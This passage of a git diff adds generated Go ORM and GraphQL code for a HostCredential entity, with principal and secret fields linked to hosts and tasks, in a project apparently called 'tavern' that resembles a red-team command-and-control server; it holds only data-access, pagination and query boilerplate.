+func (c *HostCredentialClient) DeleteOne(hc *HostCredential) *HostCredentialDeleteOne {
+	return c.DeleteOneID(hc.ID)
+}
+
+// DeleteOneID returns a builder for deleting the given entity by its id.
+func (c *HostCredentialClient) DeleteOneID(id int) *HostCredentialDeleteOne {
+	builder := c.Delete().Where(hostcredential.ID(id))
+	builder.mutation.id = &id
+	builder.mutation.op = OpDeleteOne
+	return &HostCredentialDeleteOne{builder}
+}
+
+// Query returns a query builder for HostCredential.
+func (c *HostCredentialClient) Query() *HostCredentialQuery {
+	return &HostCredentialQuery{
+		config: c.config,
+		ctx:    &QueryContext{Type: TypeHostCredential},
+		inters: c.Interceptors(),
+	}
+}
+
+// Get returns a HostCredential entity by its id.
+func (c *HostCredentialClient) Get(ctx context.Context, id int) (*HostCredential, error) {
+	return c.Query().Where(hostcredential.ID(id)).Only(ctx)
+}
+
+// GetX is like Get, but panics if an error occurs.
+func (c *HostCredentialClient) GetX(ctx context.Context, id int) *HostCredential {
+	obj, err := c.Get(ctx, id)
+	if err != nil {
+		panic(err)
+	}
+	return obj
+}
+
+// QueryHost queries the host edge of a HostCredential.
+func (c *HostCredentialClient) QueryHost(hc *HostCredential) *HostQuery {
+	query := (&HostClient{config: c.config}).Query()
+	query.path = func(context.Context) (fromV *sql.Selector, _ error) {
+		id := hc.ID
+		step := sqlgraph.NewStep(
+			sqlgraph.From(hostcredential.Table, hostcredential.FieldID, id),
+			sqlgraph.To(host.Table, host.FieldID),
+			sqlgraph.Edge(sqlgraph.M2O, false, hostcredential.HostTable, hostcredential.HostColumn),
+		)
+		fromV = sqlgraph.Neighbors(hc.driver.Dialect(), step)
+		return fromV, nil
+	}
+	return query
+}
+
+// QueryTask queries the task edge of a HostCredential.
+func (c *HostCredentialClient) QueryTask(hc *HostCredential) *TaskQuery {
+	query := (&TaskClient{config: c.config}).Query()
+	query.path = func(context.Context) (fromV *sql.Selector, _ error) {
+		id := hc.ID
+		step := sqlgraph.NewStep(
+			sqlgraph.From(hostcredential.Table, hostcredential.FieldID, id),
+			sqlgraph.To(task.Table, task.FieldID),
+			sqlgraph.Edge(sqlgraph.M2O, true, hostcredential.TaskTable, hostcredential.TaskColumn),
+		)
+		fromV = sqlgraph.Neighbors(hc.driver.Dialect(), step)
+		return fromV, nil
+	}
+	return query
+}
+
+// Hooks returns the client hooks.
+func (c *HostCredentialClient) Hooks() []Hook {
+	return c.hooks.HostCredential
+}
+
+// Interceptors returns the client interceptors.
+func (c *HostCredentialClient) Interceptors() []Interceptor {
+	return c.inters.HostCredential
+}
+
+func (c *HostCredentialClient) mutate(ctx context.Context, m *HostCredentialMutation) (Value, error) {
+	switch m.Op() {
+	case OpCreate:
+		return (&HostCredentialCreate{config: c.config, hooks: c.Hooks(), mutation: m}).Save(ctx)
+	case OpUpdate:
+		return (&HostCredentialUpdate{config: c.config, hooks: c.Hooks(), mutation: m}).Save(ctx)
+	case OpUpdateOne:
+		return (&HostCredentialUpdateOne{config: c.config, hooks: c.Hooks(), mutation: m}).Save(ctx)
+	case OpDelete, OpDeleteOne:
+		return (&HostCredentialDelete{config: c.config, hooks: c.Hooks(), mutation: m}).Exec(ctx)
+	default:
+		return nil, fmt.Errorf("ent: unknown HostCredential mutation op: %q", m.Op())
+	}
+}
+
 // HostFileClient is a client for the HostFile schema.
 type HostFileClient struct {
 	config
@@ -1637,6 +1826,22 @@ func (c *TaskClient) QueryReportedProcesses(t *Task) *HostProcessQuery {
 	return query
 }
 
+// QueryReportedCredentials queries the reported_credentials edge of a Task.
+func (c *TaskClient) QueryReportedCredentials(t *Task) *HostCredentialQuery {
+	query := (&HostCredentialClient{config: c.config}).Query()
+	query.path = func(context.Context) (fromV *sql.Selector, _ error) {
+		id := t.ID
+		step := sqlgraph.NewStep(
+			sqlgraph.From(task.Table, task.FieldID, id),
+			sqlgraph.To(hostcredential.Table, hostcredential.FieldID),
+			sqlgraph.Edge(sqlgraph.O2M, false, task.ReportedCredentialsTable, task.ReportedCredentialsColumn),
+		)
+		fromV = sqlgraph.Neighbors(t.driver.Dialect(), step)
+		return fromV, nil
+	}
+	return query
+}
+
 // Hooks returns the client hooks.
 func (c *TaskClient) Hooks() []Hook {
 	hooks := c.hooks.Task
@@ -1981,11 +2186,11 @@ func (c *UserClient) mutate(ctx context.Context, m *UserMutation) (Value, error)
 // hooks and interceptors per client, for fast access.
 type (
 	hooks struct {
-		Beacon, File, Host, HostFile, HostProcess, Quest, Tag, Task, Tome,
-		User []ent.Hook
+		Beacon, File, Host, HostCredential, HostFile, HostProcess, Quest, Tag, Task,
+		Tome, User []ent.Hook
 	}
 	inters struct {
-		Beacon, File, Host, HostFile, HostProcess, Quest, Tag, Task, Tome,
-		User []ent.Interceptor
+		Beacon, File, Host, HostCredential, HostFile, HostProcess, Quest, Tag, Task,
+		Tome, User []ent.Interceptor
 	}
 )
diff --git a/tavern/internal/ent/ent.go b/tavern/internal/ent/ent.go
index 0bd913aed..0074a889c 100644
--- a/tavern/internal/ent/ent.go
+++ b/tavern/internal/ent/ent.go
@@ -15,6 +15,7 @@ import (
 	"realm.pub/tavern/internal/ent/beacon"
 	"realm.pub/tavern/internal/ent/file"
 	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/quest"
@@ -82,16 +83,17 @@ var (
 func checkColumn(table, column string) error {
 	initCheck.Do(func() {
 		columnCheck = sql.NewColumnCheck(map[string]func(string) bool{
-			beacon.Table:      beacon.ValidColumn,
-			file.Table:        file.ValidColumn,
-			host.Table:        host.ValidColumn,
-			hostfile.Table:    hostfile.ValidColumn,
-			hostprocess.Table: hostprocess.ValidColumn,
-			quest.Table:       quest.ValidColumn,
-			tag.Table:         tag.ValidColumn,
-			task.Table:        task.ValidColumn,
-			tome.Table:        tome.ValidColumn,
-			user.Table:        user.ValidColumn,
+			beacon.Table:         beacon.ValidColumn,
+			file.Table:           file.ValidColumn,
+			host.Table:           host.ValidColumn,
+			hostcredential.Table: hostcredential.ValidColumn,
+			hostfile.Table:       hostfile.ValidColumn,
+			hostprocess.Table:    hostprocess.ValidColumn,
+			quest.Table:          quest.ValidColumn,
+			tag.Table:            tag.ValidColumn,
+			task.Table:           task.ValidColumn,
+			tome.Table:           tome.ValidColumn,
+			user.Table:           user.ValidColumn,
 		})
 	})
 	return columnCheck(table, column)
diff --git a/tavern/internal/ent/gql_collection.go b/tavern/internal/ent/gql_collection.go
index e6cb37b56..3b6b1b5dd 100644
--- a/tavern/internal/ent/gql_collection.go
+++ b/tavern/internal/ent/gql_collection.go
@@ -11,6 +11,7 @@ import (
 	"realm.pub/tavern/internal/ent/beacon"
 	"realm.pub/tavern/internal/ent/file"
 	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/quest"
@@ -356,6 +357,18 @@ func (h *HostQuery) collectField(ctx context.Context, opCtx *graphql.OperationCo
 			h.WithNamedProcesses(alias, func(wq *HostProcessQuery) {
 				*wq = *query
 			})
+		case "credentials":
+			var (
+				alias = field.Alias
+				path  = append(path, alias)
+				query = (&HostCredentialClient{config: h.config}).Query()
+			)
+			if err := query.collectField(ctx, opCtx, field, path, satisfies...); err != nil {
+				return err
+			}
+			h.WithNamedCredentials(alias, func(wq *HostCredentialQuery) {
+				*wq = *query
+			})
 		case "createdAt":
 			if _, ok := fieldSeen[host.FieldCreatedAt]; !ok {
 				selectedFields = append(selectedFields, host.FieldCreatedAt)
@@ -454,6 +467,130 @@ func newHostPaginateArgs(rv map[string]any) *hostPaginateArgs {
 	return args
 }
 
+// CollectFields tells the query-builder to eagerly load connected nodes by resolver context.
+func (hc *HostCredentialQuery) CollectFields(ctx context.Context, satisfies ...string) (*HostCredentialQuery, error) {
+	fc := graphql.GetFieldContext(ctx)
+	if fc == nil {
+		return hc, nil
+	}
+	if err := hc.collectField(ctx, graphql.GetOperationContext(ctx), fc.Field, nil, satisfies...); err != nil {
+		return nil, err
+	}
+	return hc, nil
+}
+
+func (hc *HostCredentialQuery) collectField(ctx context.Context, opCtx *graphql.OperationContext, collected graphql.CollectedField, path []string, satisfies ...string) error {
+	path = append([]string(nil), path...)
+	var (
+		unknownSeen    bool
+		fieldSeen      = make(map[string]struct{}, len(hostcredential.Columns))
+		selectedFields = []string{hostcredential.FieldID}
+	)
+	for _, field := range graphql.CollectFields(opCtx, collected.Selections, satisfies) {
+		switch field.Name {
+		case "host":
+			var (
+				alias = field.Alias
+				path  = append(path, alias)
+				query = (&HostClient{config: hc.config}).Query()
+			)
+			if err := query.collectField(ctx, opCtx, field, path, satisfies...); err != nil {
+				return err
+			}
+			hc.withHost = query
+		case "task":
+			var (
+				alias = field.Alias
+				path  = append(path, alias)
+				query = (&TaskClient{config: hc.config}).Query()
+			)
+			if err := query.collectField(ctx, opCtx, field, path, satisfies...); err != nil {
+				return err
+			}
+			hc.withTask = query
+		case "createdAt":
+			if _, ok := fieldSeen[hostcredential.FieldCreatedAt]; !ok {
+				selectedFields = append(selectedFields, hostcredential.FieldCreatedAt)
+				fieldSeen[hostcredential.FieldCreatedAt] = struct{}{}
+			}
+		case "lastModifiedAt":
+			if _, ok := fieldSeen[hostcredential.FieldLastModifiedAt]; !ok {
+				selectedFields = append(selectedFields, hostcredential.FieldLastModifiedAt)
+				fieldSeen[hostcredential.FieldLastModifiedAt] = struct{}{}
+			}
+		case "principal":
+			if _, ok := fieldSeen[hostcredential.FieldPrincipal]; !ok {
+				selectedFields = append(selectedFields, hostcredential.FieldPrincipal)
+				fieldSeen[hostcredential.FieldPrincipal] = struct{}{}
+			}
+		case "secret":
+			if _, ok := fieldSeen[hostcredential.FieldSecret]; !ok {
+				selectedFields = append(selectedFields, hostcredential.FieldSecret)
+				fieldSeen[hostcredential.FieldSecret] = struct{}{}
+			}
+		case "id":
+		case "__typename":
+		default:
+			unknownSeen = true
+		}
+	}
+	if !unknownSeen {
+		hc.Select(selectedFields...)
+	}
+	return nil
+}
+
+type hostcredentialPaginateArgs struct {
+	first, last   *int
+	after, before *Cursor
+	opts          []HostCredentialPaginateOption
+}
+
+func newHostCredentialPaginateArgs(rv map[string]any) *hostcredentialPaginateArgs {
+	args := &hostcredentialPaginateArgs{}
+	if rv == nil {
+		return args
+	}
+	if v := rv[firstField]; v != nil {
+		args.first = v.(*int)
+	}
+	if v := rv[lastField]; v != nil {
+		args.last = v.(*int)
+	}
+	if v := rv[afterField]; v != nil {
+		args.after = v.(*Cursor)
+	}
+	if v := rv[beforeField]; v != nil {
+		args.before = v.(*Cursor)
+	}
+	if v, ok := rv[orderByField]; ok {
+		switch v := v.(type) {
+		case map[string]any:
+			var (
+				err1, err2 error
+				order      = &HostCredentialOrder{Field: &HostCredentialOrderField{}, Direction: entgql.OrderDirectionAsc}
+			)
+			if d, ok := v[directionField]; ok {
+				err1 = order.Direction.UnmarshalGQL(d)
+			}
+			if f, ok := v[fieldField]; ok {
+				err2 = order.Field.UnmarshalGQL(f)
+			}
+			if err1 == nil && err2 == nil {
+				args.opts = append(args.opts, WithHostCredentialOrder(order))
+			}
+		case *HostCredentialOrder:
+			if v != nil {
+				args.opts = append(args.opts, WithHostCredentialOrder(v))
+			}
+		}
+	}
+	if v, ok := rv[whereField].(*HostCredentialWhereInput); ok {
+		args.opts = append(args.opts, WithHostCredentialFilter(v.Filter))
+	}
+	return args
+}
+
 // CollectFields tells the query-builder to eagerly load connected nodes by resolver context.
 func (hf *HostFileQuery) CollectFields(ctx context.Context, satisfies ...string) (*HostFileQuery, error) {
 	fc := graphql.GetFieldContext(ctx)
@@ -1074,6 +1211,18 @@ func (t *TaskQuery) collectField(ctx context.Context, opCtx *graphql.OperationCo
 			t.WithNamedReportedProcesses(alias, func(wq *HostProcessQuery) {
 				*wq = *query
 			})
+		case "reportedCredentials":
+			var (
+				alias = field.Alias
+				path  = append(path, alias)
+				query = (&HostCredentialClient{config: t.config}).Query()
+			)
+			if err := query.collectField(ctx, opCtx, field, path, satisfies...); err != nil {
+				return err
+			}
+			t.WithNamedReportedCredentials(alias, func(wq *HostCredentialQuery) {
+				*wq = *query
+			})
 		case "createdAt":
 			if _, ok := fieldSeen[task.FieldCreatedAt]; !ok {
 				selectedFields = append(selectedFields, task.FieldCreatedAt)
diff --git a/tavern/internal/ent/gql_edge.go b/tavern/internal/ent/gql_edge.go
index cdf03a018..7ce11df1e 100644
--- a/tavern/internal/ent/gql_edge.go
+++ b/tavern/internal/ent/gql_edge.go
@@ -88,6 +88,34 @@ func (h *Host) Processes(ctx context.Context) (result []*HostProcess, err error)
 	return result, err
 }
 
+func (h *Host) Credentials(ctx context.Context) (result []*HostCredential, err error) {
+	if fc := graphql.GetFieldContext(ctx); fc != nil && fc.Field.Alias != "" {
+		result, err = h.NamedCredentials(graphql.GetFieldContext(ctx).Field.Alias)
+	} else {
+		result, err = h.Edges.CredentialsOrErr()
+	}
+	if IsNotLoaded(err) {
+		result, err = h.QueryCredentials().All(ctx)
+	}
+	return result, err
+}
+
+func (hc *HostCredential) Host(ctx context.Context) (*Host, error) {
+	result, err := hc.Edges.HostOrErr()
+	if IsNotLoaded(err) {
+		result, err = hc.QueryHost().Only(ctx)
+	}
+	return result, err
+}
+
+func (hc *HostCredential) Task(ctx context.Context) (*Task, error) {
+	result, err := hc.Edges.TaskOrErr()
+	if IsNotLoaded(err) {
+		result, err = hc.QueryTask().Only(ctx)
+	}
+	return result, err
+}
+
 func (hf *HostFile) Host(ctx context.Context) (*Host, error) {
 	result, err := hf.Edges.HostOrErr()
 	if IsNotLoaded(err) {
@@ -208,6 +236,18 @@ func (t *Task) ReportedProcesses(ctx context.Context) (result []*HostProcess, er
 	return result, err
 }
 
+func (t *Task) ReportedCredentials(ctx context.Context) (result []*HostCredential, err error) {
+	if fc := graphql.GetFieldContext(ctx); fc != nil && fc.Field.Alias != "" {
+		result, err = t.NamedReportedCredentials(graphql.GetFieldContext(ctx).Field.Alias)
+	} else {
+		result, err = t.Edges.ReportedCredentialsOrErr()
+	}
+	if IsNotLoaded(err) {
+		result, err = t.QueryReportedCredentials().All(ctx)
+	}
+	return result, err
+}
+
 func (t *Tome) Files(ctx context.Context) (result []*File, err error) {
 	if fc := graphql.GetFieldContext(ctx); fc != nil && fc.Field.Alias != "" {
 		result, err = t.NamedFiles(graphql.GetFieldContext(ctx).Field.Alias)
diff --git a/tavern/internal/ent/gql_mutation_input.go b/tavern/internal/ent/gql_mutation_input.go
index 731c07cee..ab87ac40e 100644
--- a/tavern/internal/ent/gql_mutation_input.go
+++ b/tavern/internal/ent/gql_mutation_input.go
@@ -39,21 +39,24 @@ func (c *BeaconUpdateOne) SetInput(i UpdateBeaconInput) *BeaconUpdateOne {
 
 // UpdateHostInput represents a mutation input for updating hosts.
 type UpdateHostInput struct {
-	LastModifiedAt   *time.Time
-	ClearName        bool
-	Name             *string
-	ClearTags        bool
-	AddTagIDs        []int
-	RemoveTagIDs     []int
-	ClearBeacons     bool
-	AddBeaconIDs     []int
-	RemoveBeaconIDs  []int
-	ClearFiles       bool
-	AddFileIDs       []int
-	RemoveFileIDs    []int
-	ClearProcesses   bool
-	AddProcessIDs    []int
-	RemoveProcessIDs []int
+	LastModifiedAt      *time.Time
+	ClearName           bool
+	Name                *string
+	ClearTags           bool
+	AddTagIDs           []int
+	RemoveTagIDs        []int
+	ClearBeacons        bool
+	AddBeaconIDs        []int
+	RemoveBeaconIDs     []int
+	ClearFiles          bool
+	AddFileIDs          []int
+	RemoveFileIDs       []int
+	ClearProcesses      bool
+	AddProcessIDs       []int
+	RemoveProcessIDs    []int
+	ClearCredentials    bool
+	AddCredentialIDs    []int
+	RemoveCredentialIDs []int
 }
 
 // Mutate applies the UpdateHostInput on the HostMutation builder.
@@ -103,6 +106,15 @@ func (i *UpdateHostInput) Mutate(m *HostMutation) {
 	if v := i.RemoveProcessIDs; len(v) > 0 {
 		m.RemoveProcessIDs(v...)
 	}
+	if i.ClearCredentials {
+		m.ClearCredentials()
+	}
+	if v := i.AddCredentialIDs; len(v) > 0 {
+		m.AddCredentialIDs(v...)
+	}
+	if v := i.RemoveCredentialIDs; len(v) > 0 {
+		m.RemoveCredentialIDs(v...)
+	}
 }
 
 // SetInput applies the change-set in the UpdateHostInput on the HostUpdate builder.
diff --git a/tavern/internal/ent/gql_node.go b/tavern/internal/ent/gql_node.go
index f1f2d3aab..416bef993 100644
--- a/tavern/internal/ent/gql_node.go
+++ b/tavern/internal/ent/gql_node.go
@@ -18,6 +18,7 @@ import (
 	"realm.pub/tavern/internal/ent/beacon"
 	"realm.pub/tavern/internal/ent/file"
 	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/quest"
@@ -41,6 +42,9 @@ func (n *File) IsNode() {}
 // IsNode implements the Node interface check for GQLGen.
 func (n *Host) IsNode() {}
 
+// IsNode implements the Node interface check for GQLGen.
+func (n *HostCredential) IsNode() {}
+
 // IsNode implements the Node interface check for GQLGen.
 func (n *HostFile) IsNode() {}
 
@@ -156,6 +160,18 @@ func (c *Client) noder(ctx context.Context, table string, id int) (Noder, error)
 			return nil, err
 		}
 		return n, nil
+	case hostcredential.Table:
+		query := c.HostCredential.Query().
+			Where(hostcredential.ID(id))
+		query, err := query.CollectFields(ctx, "HostCredential")
+		if err != nil {
+			return nil, err
+		}
+		n, err := query.Only(ctx)
+		if err != nil {
+			return nil, err
+		}
+		return n, nil
 	case hostfile.Table:
 		query := c.HostFile.Query().
 			Where(hostfile.ID(id))
@@ -361,6 +377,22 @@ func (c *Client) noders(ctx context.Context, table string, ids []int) ([]Noder,
 				*noder = node
 			}
 		}
+	case hostcredential.Table:
+		query := c.HostCredential.Query().
+			Where(hostcredential.IDIn(ids...))
+		query, err := query.CollectFields(ctx, "HostCredential")
+		if err != nil {
+			return nil, err
+		}
+		nodes, err := query.All(ctx)
+		if err != nil {
+			return nil, err
+		}
+		for _, node := range nodes {
+			for _, noder := range idmap[node.ID] {
+				*noder = node
+			}
+		}
 	case hostfile.Table:
 		query := c.HostFile.Query().
 			Where(hostfile.IDIn(ids...))
diff --git a/tavern/internal/ent/gql_pagination.go b/tavern/internal/ent/gql_pagination.go
index 153593e83..e8d65b9c8 100644
--- a/tavern/internal/ent/gql_pagination.go
+++ b/tavern/internal/ent/gql_pagination.go
@@ -18,6 +18,7 @@ import (
 	"realm.pub/tavern/internal/ent/beacon"
 	"realm.pub/tavern/internal/ent/file"
 	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
 	"realm.pub/tavern/internal/ent/hostfile"
 	"realm.pub/tavern/internal/ent/hostprocess"
 	"realm.pub/tavern/internal/ent/quest"
@@ -1130,6 +1131,335 @@ func (h *Host) ToEdge(order *HostOrder) *HostEdge {
 	}
 }
 
+// HostCredentialEdge is the edge representation of HostCredential.
+type HostCredentialEdge struct {
+	Node   *HostCredential `json:"node"`
+	Cursor Cursor          `json:"cursor"`
+}
+
+// HostCredentialConnection is the connection containing edges to HostCredential.
+type HostCredentialConnection struct {
+	Edges      []*HostCredentialEdge `json:"edges"`
+	PageInfo   PageInfo              `json:"pageInfo"`
+	TotalCount int                   `json:"totalCount"`
+}
+
+func (c *HostCredentialConnection) build(nodes []*HostCredential, pager *hostcredentialPager, after *Cursor, first *int, before *Cursor, last *int) {
+	c.PageInfo.HasNextPage = before != nil
+	c.PageInfo.HasPreviousPage = after != nil
+	if first != nil && *first+1 == len(nodes) {
+		c.PageInfo.HasNextPage = true
+		nodes = nodes[:len(nodes)-1]
+	} else if last != nil && *last+1 == len(nodes) {
+		c.PageInfo.HasPreviousPage = true
+		nodes = nodes[:len(nodes)-1]
+	}
+	var nodeAt func(int) *HostCredential
+	if last != nil {
+		n := len(nodes) - 1
+		nodeAt = func(i int) *HostCredential {
+			return nodes[n-i]
+		}
+	} else {
+		nodeAt = func(i int) *HostCredential {
+			return nodes[i]
+		}
+	}
+	c.Edges = make([]*HostCredentialEdge, len(nodes))
+	for i := range nodes {
+		node := nodeAt(i)
+		c.Edges[i] = &HostCredentialEdge{
+			Node:   node,
+			Cursor: pager.toCursor(node),
+		}
+	}
+	if l := len(c.Edges); l > 0 {
+		c.PageInfo.StartCursor = &c.Edges[0].Cursor
+		c.PageInfo.EndCursor = &c.Edges[l-1].Cursor
+	}
+	if c.TotalCount == 0 {
+		c.TotalCount = len(nodes)
+	}
+}
+
+// HostCredentialPaginateOption enables pagination customization.
+type HostCredentialPaginateOption func(*hostcredentialPager) error
+
+// WithHostCredentialOrder configures pagination ordering.
+func WithHostCredentialOrder(order *HostCredentialOrder) HostCredentialPaginateOption {
+	if order == nil {
+		order = DefaultHostCredentialOrder
+	}
+	o := *order
+	return func(pager *hostcredentialPager) error {
+		if err := o.Direction.Validate(); err != nil {
+			return err
+		}
+		if o.Field == nil {
+			o.Field = DefaultHostCredentialOrder.Field
+		}
+		pager.order = &o
+		return nil
+	}
+}
+
+// WithHostCredentialFilter configures pagination filter.
+func WithHostCredentialFilter(filter func(*HostCredentialQuery) (*HostCredentialQuery, error)) HostCredentialPaginateOption {
+	return func(pager *hostcredentialPager) error {
+		if filter == nil {
+			return errors.New("HostCredentialQuery filter cannot be nil")
+		}
+		pager.filter = filter
+		return nil
+	}
+}
+
+type hostcredentialPager struct {
+	reverse bool
+	order   *HostCredentialOrder
+	filter  func(*HostCredentialQuery) (*HostCredentialQuery, error)
+}
+
+func newHostCredentialPager(opts []HostCredentialPaginateOption, reverse bool) (*hostcredentialPager, error) {
+	pager := &hostcredentialPager{reverse: reverse}
+	for _, opt := range opts {
+		if err := opt(pager); err != nil {
+			return nil, err
+		}
+	}
+	if pager.order == nil {
+		pager.order = DefaultHostCredentialOrder
+	}
+	return pager, nil
+}
+
+func (p *hostcredentialPager) applyFilter(query *HostCredentialQuery) (*HostCredentialQuery, error) {
+	if p.filter != nil {
+		return p.filter(query)
+	}
+	return query, nil
+}
+
+func (p *hostcredentialPager) toCursor(hc *HostCredential) Cursor {
+	return p.order.Field.toCursor(hc)
+}
+
+func (p *hostcredentialPager) applyCursors(query *HostCredentialQuery, after, before *Cursor) (*HostCredentialQuery, error) {
+	direction := p.order.Direction
+	if p.reverse {
+		direction = direction.Reverse()
+	}
+	for _, predicate := range entgql.CursorsPredicate(after, before, DefaultHostCredentialOrder.Field.column, p.order.Field.column, direction) {
+		query = query.Where(predicate)
+	}
+	return query, nil
+}
+
+func (p *hostcredentialPager) applyOrder(query *HostCredentialQuery) *HostCredentialQuery {
+	direction := p.order.Direction
+	if p.reverse {
+		direction = direction.Reverse()
+	}
+	query = query.Order(p.order.Field.toTerm(direction.OrderTermOption()))
+	if p.order.Field != DefaultHostCredentialOrder.Field {
+		query = query.Order(DefaultHostCredentialOrder.Field.toTerm(direction.OrderTermOption()))
+	}
+	if len(query.ctx.Fields) > 0 {
+		query.ctx.AppendFieldOnce(p.order.Field.column)
+	}
+	return query
+}
+
+func (p *hostcredentialPager) orderExpr(query *HostCredentialQuery) sql.Querier {
+	direction := p.order.Direction
+	if p.reverse {
+		direction = direction.Reverse()
+	}
+	if len(query.ctx.Fields) > 0 {
+		query.ctx.AppendFieldOnce(p.order.Field.column)
+	}
+	return sql.ExprFunc(func(b *sql.Builder) {
+		b.Ident(p.order.Field.column).Pad().WriteString(string(direction))
+		if p.order.Field != DefaultHostCredentialOrder.Field {
+			b.Comma().Ident(DefaultHostCredentialOrder.Field.column).Pad().WriteString(string(direction))
+		}
+	})
+}
+
+// Paginate executes the query and returns a relay based cursor connection to HostCredential.
+func (hc *HostCredentialQuery) Paginate(
+	ctx context.Context, after *Cursor, first *int,
+	before *Cursor, last *int, opts ...HostCredentialPaginateOption,
+) (*HostCredentialConnection, error) {
+	if err := validateFirstLast(first, last); err != nil {
+		return nil, err
+	}
+	pager, err := newHostCredentialPager(opts, last != nil)
+	if err != nil {
+		return nil, err
+	}
+	if hc, err = pager.applyFilter(hc); err != nil {
+		return nil, err
+	}
+	conn := &HostCredentialConnection{Edges: []*HostCredentialEdge{}}
+	ignoredEdges := !hasCollectedField(ctx, edgesField)
+	if hasCollectedField(ctx, totalCountField) || hasCollectedField(ctx, pageInfoField) {
+		hasPagination := after != nil || first != nil || before != nil || last != nil
+		if hasPagination || ignoredEdges {
+			if conn.TotalCount, err = hc.Clone().Count(ctx); err != nil {
+				return nil, err
+			}
+			conn.PageInfo.HasNextPage = first != nil && conn.TotalCount > 0
+			conn.PageInfo.HasPreviousPage = last != nil && conn.TotalCount > 0
+		}
+	}
+	if ignoredEdges || (first != nil && *first == 0) || (last != nil && *last == 0) {
+		return conn, nil
+	}
+	if hc, err = pager.applyCursors(hc, after, before); err != nil {
+		return nil, err
+	}
+	if limit := paginateLimit(first, last); limit != 0 {
+		hc.Limit(limit)
+	}
+	if field := collectedField(ctx, edgesField, nodeField); field != nil {
+		if err := hc.collectField(ctx, graphql.GetOperationContext(ctx), *field, []string{edgesField, nodeField}); err != nil {
+			return nil, err
+		}
+	}
+	hc = pager.applyOrder(hc)
+	nodes, err := hc.All(ctx)
+	if err != nil {
+		return nil, err
+	}
+	conn.build(nodes, pager, after, first, before, last)
+	return conn, nil
+}
+
+var (
+	// HostCredentialOrderFieldCreatedAt orders HostCredential by created_at.
+	HostCredentialOrderFieldCreatedAt = &HostCredentialOrderField{
+		Value: func(hc *HostCredential) (ent.Value, error) {
+			return hc.CreatedAt, nil
+		},
+		column: hostcredential.FieldCreatedAt,
+		toTerm: hostcredential.ByCreatedAt,
+		toCursor: func(hc *HostCredential) Cursor {
+			return Cursor{
+				ID:    hc.ID,
+				Value: hc.CreatedAt,
+			}
+		},
+	}
+	// HostCredentialOrderFieldLastModifiedAt orders HostCredential by last_modified_at.
+	HostCredentialOrderFieldLastModifiedAt = &HostCredentialOrderField{
+		Value: func(hc *HostCredential) (ent.Value, error) {
+			return hc.LastModifiedAt, nil
+		},
+		column: hostcredential.FieldLastModifiedAt,
+		toTerm: hostcredential.ByLastModifiedAt,
+		toCursor: func(hc *HostCredential) Cursor {
+			return Cursor{
+				ID:    hc.ID,
+				Value: hc.LastModifiedAt,
+			}
+		},
+	}
+	// HostCredentialOrderFieldPrincipal orders HostCredential by principal.
+	HostCredentialOrderFieldPrincipal = &HostCredentialOrderField{
+		Value: func(hc *HostCredential) (ent.Value, error) {
+			return hc.Principal, nil
+		},
+		column: hostcredential.FieldPrincipal,
+		toTerm: hostcredential.ByPrincipal,
+		toCursor: func(hc *HostCredential) Cursor {
+			return Cursor{
+				ID:    hc.ID,
+				Value: hc.Principal,
+			}
+		},
+	}
+)
+
+// String implement fmt.Stringer interface.
+func (f HostCredentialOrderField) String() string {
+	var str string
+	switch f.column {
+	case HostCredentialOrderFieldCreatedAt.column:
+		str = "CREATED_AT"
+	case HostCredentialOrderFieldLastModifiedAt.column:
+		str = "LAST_MODIFIED_AT"
+	case HostCredentialOrderFieldPrincipal.column:
+		str = "PRINCIPAL"
+	}
+	return str
+}
+
+// MarshalGQL implements graphql.Marshaler interface.
+func (f HostCredentialOrderField) MarshalGQL(w io.Writer) {
+	io.WriteString(w, strconv.Quote(f.String()))
+}
+
+// UnmarshalGQL implements graphql.Unmarshaler interface.
+func (f *HostCredentialOrderField) UnmarshalGQL(v interface{}) error {
+	str, ok := v.(string)
+	if !ok {
+		return fmt.Errorf("HostCredentialOrderField %T must be a string", v)
+	}
+	switch str {
+	case "CREATED_AT":
+		*f = *HostCredentialOrderFieldCreatedAt
+	case "LAST_MODIFIED_AT":
+		*f = *HostCredentialOrderFieldLastModifiedAt
+	case "PRINCIPAL":
+		*f = *HostCredentialOrderFieldPrincipal
+	default:
+		return fmt.Errorf("%s is not a valid HostCredentialOrderField", str)
+	}
+	return nil
+}
+
+// HostCredentialOrderField defines the ordering field of HostCredential.
+type HostCredentialOrderField struct {
+	// Value extracts the ordering value from the given HostCredential.
+	Value    func(*HostCredential) (ent.Value, error)
+	column   string // field or computed.
+	toTerm   func(...sql.OrderTermOption) hostcredential.OrderOption
+	toCursor func(*HostCredential) Cursor
+}
+
+// HostCredentialOrder defines the ordering of HostCredential.
+type HostCredentialOrder struct {
+	Direction OrderDirection            `json:"direction"`
+	Field     *HostCredentialOrderField `json:"field"`
+}
+
+// DefaultHostCredentialOrder is the default ordering of HostCredential.
+var DefaultHostCredentialOrder = &HostCredentialOrder{
+	Direction: entgql.OrderDirectionAsc,
+	Field: &HostCredentialOrderField{
+		Value: func(hc *HostCredential) (ent.Value, error) {
+			return hc.ID, nil
+		},
+		column: hostcredential.FieldID,
+		toTerm: hostcredential.ByID,
+		toCursor: func(hc *HostCredential) Cursor {
+			return Cursor{ID: hc.ID}
+		},
+	},
+}
+
+// ToEdge converts HostCredential into HostCredentialEdge.
+func (hc *HostCredential) ToEdge(order *HostCredentialOrder) *HostCredentialEdge {
+	if order == nil {
+		order = DefaultHostCredentialOrder
+	}
+	return &HostCredentialEdge{
+		Node:   hc,
+		Cursor: order.Field.toCursor(hc),
+	}
+}
+
 // HostFileEdge is the edge representation of HostFile.
 type HostFileEdge struct {
 	Node   *HostFile `json:"node"`
diff --git a/tavern/internal/ent/gql_where_input.go b/tavern/internal/ent/gql_where_input.go
index 3f00e6d07..a30845022 100644
--- a/tavern/internal/ent/gql_where_input.go
+++ b/tavern/internal/ent/gql_where_input.go
